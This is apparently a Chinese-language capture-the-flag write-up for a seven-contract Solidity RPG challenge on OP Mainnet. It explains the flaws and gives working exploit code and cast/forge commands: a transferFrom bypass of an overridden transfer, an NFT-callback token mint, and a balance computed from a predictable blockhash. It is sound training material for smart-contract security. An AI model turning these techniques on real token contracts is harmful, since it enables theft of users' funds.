Appearance
S2C12: Conquer The Game (RPG Multi-Contract)
1. 问题
这是 Season 2 的最终 Boss — 一个由 7 个合约 组成的 RPG 游戏系统。玩家需要通过"征服游戏"来满足 mintFlag 的复杂验证链:
| 合约 | OP Mainnet 地址 | 功能 |
|---|---|---|
| Main (Challenge) | 0xac22A9b80bf87Cdb1f95efEb3F2A504f5039BE9d | 主挑战,包含 mintFlag |
| HeroNFT | 0x792ad60632A1A63DaDb14fEa9AC3c7FB944406C6 | ERC-721 英雄 NFT,可自定义 URI |
| GoldToken | 0x84710c7E262B09fa3aAF97F2741E7CE6Fb11A54b | ERC-20 金币,transfer 有特殊限制 |
| Inventory | 0x5f90e8c1205C448b81Ca57cffdca39bc3b0B35f4 | 背包系统,仅 owner (Main) 可修改 |
| Quest | 0xc555ce58bAD74a2E0CD289aE23225a80bf47e7e3 | 任务追踪 |
| Dungeon | 0xd1A85e9e62387E8A4Ccb9baBab0Cd97d9E76B7de | 地牢位置,与 Quest 联动 |
| Victory | 0x84503496E6ED4F68E84E4Ba6B4Fc5A4d4A4145d3 | 胜利条件 |
2. 原因
合约系统存在以下关键漏洞:
2.1 GoldToken 的 transfer 限制可被 transferFrom 绕过
solidity
// GoldToken.transfer — 有 HeroNFT 和 Dungeon 检查
function transfer(address to, uint256 amount) public override returns (bool) {
require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
_transfer(msg.sender, to, amount);
return true;
}
// GoldToken.transferFrom — 继承自 ERC20,无任何限制!
// 可以直接调用绕过所有 transfer 检查
关键洞察:覆写 transfer 不会自动保护 transferFrom。这是 OZ ERC-20 继承中的常见陷阱。
2.2 GoldToken 获取机制(onERC721Received 回调)
S2 NFTFlags 合约的 onERC721Received 函数在收到特定 NFT 时会 mint GoldToken:
solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
external override returns (bytes4)
{
uint256 anotherTokenId = _toUint256(data); // ← 从 data 解码另一个 tokenId
require(msg.sender == address(this)); // 只有 NFTFlags 自身可调用
require(ownerOf(anotherTokenId) == from); // from 必须拥有 S2C2 token
require(tokenIdToChallengeId[anotherTokenId] == 2); // 验证 token 是 S2C2
require(!tokensClaimed[tokenId]); // 载体 token 未被领取
safeTransferFrom(address(this), from, tokenId); // 载体 token 归还
tokensClaimed[tokenId] = true;
GoldContract(goldTokenAddress).mint(from); // mint 1000e18 GoldToken!
}
双 Token 机制:
tokenId(载体): 被转移到 NFTFlags 再归还,必须是发送者拥有的任意 S2 NFTanotherTokenId(验证): 从 data 参数解码,必须是 S2C2 token (challengeId == 2),由from地址拥有,但不被转移
2.3 mintFlag 验证链分析
solidity
function mintFlag(uint256 tokenId) public winner rich {
// 1. 拉取 1e18 GoldToken 从调用者到挑战合约
gold.transferFrom(msg.sender, address(this), 1 ether);
// 2. 从 HeroNFT URI 解析库存值
uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
inventory.setValue(inventoryValue); // 写入 inventory[tx.origin]
// 3. 计算哈希
bytes32 hash = keccak256(abi.encodePacked(
blockhash(block.number - 1), // 前一个区块哈希(交易内可预测)
address(this), // 挑战合约地址
inventory.inventory(tx.origin) // 库存值
));
// 4-8. 多重检查
require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // 余额 = H
require(balance == dungeon.getCurrentPosition()); // 余额 = quest×dungeon
require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // 敌我余额相等
require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=库存
nftContract.mint(tx.origin, 12); // mint flag!
}
stringToUint 逻辑:
solidity
function stringToUint(string memory _s) public pure returns (uint256) {
bytes memory b = bytes(_s);
uint256 res = 0;
for (uint256 i = 0; i < b.length; i++) {
if (b[i] >= 0x30 && b[i] <= 0x39) {
res = res * 10 + (uint256(uint8(b[i])) - 0x35); // 数字字符 → 数值
} else {
return 0; // 非数字直接返回 0
}
}
return res;
}
字符 '5' = 0x35 → 0x35 - 0x35 = 0。所以 URI 为 "5" 时 inventoryValue = 0。
2.4 完整解决方案架构
NEW_WALLET ORIGINAL_WALLET S2C12_SOLUTION
| | |
S1C1 ──→ | | |
S2C2 ──→ | (获得 S2C2 token) | |
| | |
safeTransferFrom ─→ GoldToken mint 1000e18 |
| | |
approve(Solution, max) ──────────|──────────────────→ |
| | solve(NEW_WALLET) |
| |──────────────────→ |
| | transferFrom(NEW → Solution)
| | mint HeroNFT("5")
| | fund complement(~ORIGINAL)
| | fund ORIGINAL
| | burn excess
| | dungeon/quest/victory setup
| | approve(challenge, 1e18)
| | challenge.mintFlag() ──→ 🏆
3. 方案
Step 1: 获取 GoldToken(需要 S2C2 token)
solidity
// 1. 确保拥有一个 S2C2 token (challengeId == 2)
// 2. 需要一个载体 token (任意其他 S2 NFT)
// 3. 调用 safeTransferFrom,将载体 token 发给 NFTFlags,data 中编码 S2C2 tokenId
// 载体 token 会被转回,S2C2 token 只做验证不转移
NFTFlags.safeTransferFrom(
myAddress, // from — 必须拥有 S2C2 token
NFTFlags, // to — NFTFlags 自身(触发 onERC721Received)
carrierTokenId, // 载体 token(任意 S2 NFT)
abi.encode(s2c2TokenId) // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 到 from 地址
Step 2: 设置数值并计算目标余额
solidity
// 2a. 铸造 HeroNFT,URI = "5"(使 inventoryValue = 0)
uint256 heroTokenId = hero.mint("5");
// 2b. 计算目标余额 H
bytes32 hash = keccak256(abi.encodePacked(
blockhash(block.number - 1), // 前一区块哈希
address(challenge), // 挑战地址
uint256(0) // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;
Step 3: 操纵 GoldToken 余额
solidity
// 使用 transferFrom 绕过 transfer 限制
gold.approve(address(this), type(uint256).max); // 自授权
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether); // 拉取
// 分配余额
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // 敌人
gold.transferFrom(address(this), tx.origin, 1 ether); // 玩家
// 精确余额 = H
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
gold.burn(currentBalance - H - 1 ether);
}
Step 4: 设置游戏状态并执行
solidity
// 胜利条件
dungeon.setPosition(bytes32(uint256(1))); // 设非零值
victory.free(true); // 标记胜利
// 地牢位置 = 余额 = H(使 balance == quest × dungeon)
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));
// 批准 challenge 消费 1 ether(消费后剩余 allowance = 0 = inventoryValue)
gold.approve(address(challenge), 1 ether);
// 执行!
challenge.mintFlag(heroTokenId);
4. 遇到的陷阱
陷阱 4.1: onERC721Received 的 tokenId vs anotherTokenId 混淆
现象: 使用 S2C2 token 作为载体 token 时,交易 revert "Not owner!"。
根本原因: 对函数的 tokenId/anotherTokenId 角色理解错误。tokenId(载体)被 _safeTransfer 先转移,导致 ownerOf(tokenId) 变为新所有者。而 anotherTokenId(从 data 解码)不做转移,仅用于验证。
错误理解:anotherTokenId == tokenId(同一个 token 做两件事)
正确理解:anotherTokenId (验证) ≠ tokenId (载体)
陷阱 4.2: S2C2 token 意外转移至 NFTFlags
现象: 在实验过程中使用 transferFrom 将 S2C2 token 转到 NFTFlags 后,无法再触发 GoldToken mint。
错误操作:
bash
# 错误!将 S2C2 token 转给 NFTFlags
cast send $NFT_FLAGS "transferFrom(address,address,uint256)" \
$EOA $NFT_FLAGS 94 # Token 94 = S2C2 token
后果:
- Token 94 现在属于 NFTFlags,不属于原始 EOA
ownerOf(94)= NFTFlags,不等于from(EOA)- onERC721Received 检查
ownerOf(anotherTokenId) == from永远失败 - 无法使用此 EOA 触发 GoldToken mint
陷阱 4.3: GoldToken transfer 限制
现象: 直接使用 gold.transfer() 给解题合约转账时 revert "Insufficient NFT balance"。
原因: GoldToken 覆写了 transfer 要求调用者持有 HeroNFT 且余额小于 dungeon 值。
陷阱 4.4: transferFrom 需要自授权
现象: gold.transferFrom(address(this), target, amount) revert ERC20InsufficientAllowance。
原因: ERC-20 的 transferFrom 要求 from 地址已授权 msg.sender(即调用者)。
陷阱 4.5: 新钱包需要 S1C1 注册
现象: 从新钱包调用 S2C2 时 revert "User address is not registered in Season 1"。
原因: S2 NFTFlags 的 mint 函数检查 hasMinted[recipient][1](S1C1 注册状态)。
陷阱 4.6: forge create --broadcast 在 OP 上失败
与 S2C7 相同的 forge bug — 必须使用 forge script 部署合约。
5. 陷阱的原因
原因 5.1: ERC-721 _safeTransfer 的调用顺序
OpenZeppelin ERC-721 的 _safeTransfer 实现:
solidity
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
_transfer(from, to, tokenId); // ① 先转移!
_checkOnERC721Received(from, to, tokenId, data); // ② 再回调
}
转移发生在回调之前。当 onERC721Received 执行时,tokenId(载体)的所有者已更新为 to(NFTFlags)。但 anotherTokenId(从 data 解码的验证 token)不受此影响。
原因 5.2: transferFrom 未覆写
Solidity 继承中,覆写 transfer 不影响 transferFrom:
solidity
// GoldToken 只覆写了 transfer
function transfer(address to, uint256 amount) public override returns (bool) {
// ... custom checks ...
}
// transferFrom 继承自 ERC20._transfer,无任何限制
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// _spendAllowance(from, msg.sender, amount);
// _transfer(from, to, amount); // 直接调用内部 _transfer,绕过 transfer 覆写
// }
核心教训:在 OZ 5.x 中应覆写 _update 而非 transfer,以确保所有 token 移动路径都被覆盖。
原因 5.3: 跨合约状态依赖
mintFlag 的 10 个检查跨越 6 个不同合约,任何一步参数计算错误都会导致整体回滚。
原因 5.4: blockhash 可预测性
blockhash(block.number - 1) 在交易执行时是已知且确定的。虽然看起来"随机",但在同一交易内是可计算的,不能作为安全随机源。
原因 5.5: onERC721Received 的 msg.sender 检查
NFTFlags 的 onERC721Received 要求 msg.sender == address(this)。这只有在以下情况才成立:
- ERC-721 的
safeTransferFrom将to设为 NFTFlags 自身 - ERC-721 内部以
msg.sender= NFTFlags 的身份调用IERC721Receiver(to).onERC721Received
任何直接外部调用都会失败,因为此时 msg.sender 是调用者而非 NFTFlags。
6. 如何解决
解决 6.1: 使用不同 token 做载体和验证
正确流程:
一个 S2C2 token (metadata=2) → 只做验证(anotherTokenId),不被转移
一个任意 S2 NFT → 做载体(tokenId),在 NFTFlags 和用户之间往返
bash
# 使用 token 104 (S2C2) 做验证,token 95 做载体
cast send $NFT_FLAGS \
$(cast calldata "safeTransferFrom(address,address,uint256,bytes)" \
$MY_ADDRESS $NFT_FLAGS 95 $(cast abi-encode "f(uint256)" 104))
解决 6.2: 丢失 S2C2 token 后重新获取
由于 S2C2 token 被转移至 NFTFlags 后无法取回,需要:
- 创建新钱包
- 新钱包完成 S1C1 注册
- 新钱包完成 S2C2(获取新的 S2C2 token)
- 转账载体 token 给新钱包
- 新钱包触发 GoldToken mint
- 新钱包 approve 解题合约
- 原钱包调用解题合约(使 tx.origin = 原钱包,flag mint 到原钱包)
解决 6.3: 使用 transferFrom 而非 transfer
solidity
// 错误:受 transfer 限制
gold.transfer(recipient, amount);
// 正确:通过自授权 + transferFrom 绕过
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);
解决 6.4: 自授权的标准模式
solidity
// 在构造或初始化时自授权
function solve(address goldSource) external {
// 必须首先自授权
gold.approve(address(this), type(uint256).max);
// 然后可以使用 transferFrom
gold.transferFrom(goldSource, address(this), amount);
gold.transferFrom(address(this), enemy, amount);
}
解决 6.5: 新钱包注册
bash
# 必须先完成 S1C1 注册
cast send $S1C1 "registerMe(string)" "name" --private-key $NEW_PK
# 然后才能完成 S2C2
cast send $S2C2 "mintFlag(bytes32)" $KEY --private-key $NEW_PK
解决 6.6: 使用 forge script
bash
forge script script/S2C12Deploy.s.sol:S2C12DeployScript \
--rpc-url $RPC --private-key $PK --broadcast
7. 技术要点
7.1 Solidity / EVM
| 要点 | 详细说明 |
|---|---|
| ERC-20 transfer vs transferFrom | 覆写 transfer 不会保护 transferFrom。在 OZ 5.x 中应覆写 _update |
| blockhash 可预测性 | blockhash(block.number - 1) 在交易内是确定值,可用作"随机"源的攻击向量 |
| stringToUint 编码 | 字符减 0x35→'5'→0,利用此特性可设 inventoryValue=0 简化计算 |
| 自授权模式 | erc20.approve(address(this), max) + transferFrom(address(this), ...) 是绕过 transfer 限制的标准技术 |
| onlyOwner 代理 | Inventory 的 setValue 是 onlyOwner,但 owner 是 Main 合约 — Main 通过 mintFlag 间接写入 inventory |
7.2 跨合约交互
| 要点 | 详细说明 |
|---|---|
| 多合约 RPG 系统 | 7 个合约协作,状态分布在多个地址间,需原子性操作 |
| onERC721Received 回调 | ERC-721 的 safeTransferFrom 触发回调,msg.sender = ERC-721 合约本身 |
| CREATE2 概念 | address(~bytes20(tx.origin)) 是 tx.origin 的位取反地址 |
| Victory.winner 依赖 | 需要 dungeon[tx.origin] > 0 才返回 true — 必须先设 dungeon |
| Dungeon.getCurrentPosition | = quest[tx.origin] × dungeon[tx.origin] — 两个合约的联动 |
7.3 GoldToken 获取流程全解
前提条件:
├─ 一个 S2C2 token (challengeId=2,只验证不转移)
└─ 一个载体 token (任意 S2 NFT,用于往返转移)
执行流程:
1. safeTransferFrom(sender, NFTFlags, carrierId, abi.encode(s2c2Id))
├─ ERC-721: _transfer(sender, NFTFlags, carrierId) [载体 → NFTFlags]
└─ ERC-721: _checkOnERC721Received → NFTFlags.onERC721Received()
├─ anotherTokenId = decode(data) = s2c2Id
├─ msg.sender == address(this) ✓ (NFTFlags 自调)
├─ ownerOf(s2c2Id) == from ✓ (S2C2 token 未被转移)
├─ tokenIdToChallengeId[s2c2Id] == 2 ✓
├─ !tokensClaimed[carrierId] ✓
├─ safeTransferFrom(NFTFlags, sender, carrierId) [载体 → 返还]
├─ tokensClaimed[carrierId] = true
└─ GoldToken.mint(sender) → 1000 × 10^18 GoldToken!
7.4 mintFlag 完整验证链
modifier winner():
└─ Victory.winner() → dungeon[tx.origin] > 0 && victory[tx.origin]
modifier rich():
└─ GoldToken.balanceOf(~tx.origin) >= 1e18
mintFlag(tokenId):
① transferFrom(msg.sender → this, 1e18)
② inventoryValue = stringToUint(heroNFT.tokenURI(tokenId))
③ inventory.setValue(inventoryValue) → inventory[tx.origin]
④ hash = keccak256(blockhash(block.number-1), this, inventory[tx.origin])
⑤ balance == hash % 100e18
⑥ balance == dungeon.getCurrentPosition() (= quest × dungeon)
⑦ balanceOf(tx.origin) == balanceOf(~tx.origin)
⑧ allowance(msg.sender, this) == inventory[tx.origin]
→ nftContract.mint(tx.origin, 12) 🏆
7.5 合约间依赖关系图
┌──────────┐
│ NFTFlags │ (S2 NFT 管理)
└────┬─────┘
│ mint()
┌──────────────┼──────────────┐
│ │ │
┌────▼─────┐ ┌────▼─────┐ ┌─────▼──────┐
│ Main C12 │ │ HeroNFT │ │ GoldToken │
│ (挑战主) │ │ (ERC721) │ │ (ERC20) │
└──┬──┬──┬─┘ └──────────┘ └──┬──┬──┬──┘
│ │ │ │ │ │
┌────▼┐ │ └──────────────┐ │ │ │
│Inv. │ │ │ │ │ │
└─────┘ │ ┌────▼────┐ ┌─▼─────┐│ │ │
│ │ Quest │ │Dungeon││ │ │
│ └────────┘ └──┬────┘│ │ │
│ │ │ │ │
│ ┌────▼─────┴──┘ │
│ │ Victory │
│ └───────────────┘
│
┌────▼─────┐
│ S2C12 Flag│
│ (token 105)│
└──────────┘
7.6 核心代码位置
- 解题合约:
solutions/season2/Challenge12Solution.sol - 部署脚本:
script/S2C12Deploy.s.sol - 参考源码: ByteAtATime/bg-ctf
src/season2/Season2Challenge12.sol - NFTFlags 源码: ByteAtATime/bg-ctf
src/season2/Season2NFTFlags.sol - GoldToken 获取交易:
0x812d16346b465996a26427a629ce8c2069830bc3fac4940f5d1b206cb8762cda - S2C12 完成交易:
0x9a3bfd2aa2d1597d36e1518087fe62b94148837f47cd2992de72a25e8fbef237 - Flag Token ID:
0x69(105)
一句话总结: ERC-20 的
transfer覆写不保护transferFrom,GoldToken 通过 NFT 回调机制获取,利用可预测的 blockhash 计算精确余额,在单个交易中原子性地满足 10 个分布式检查。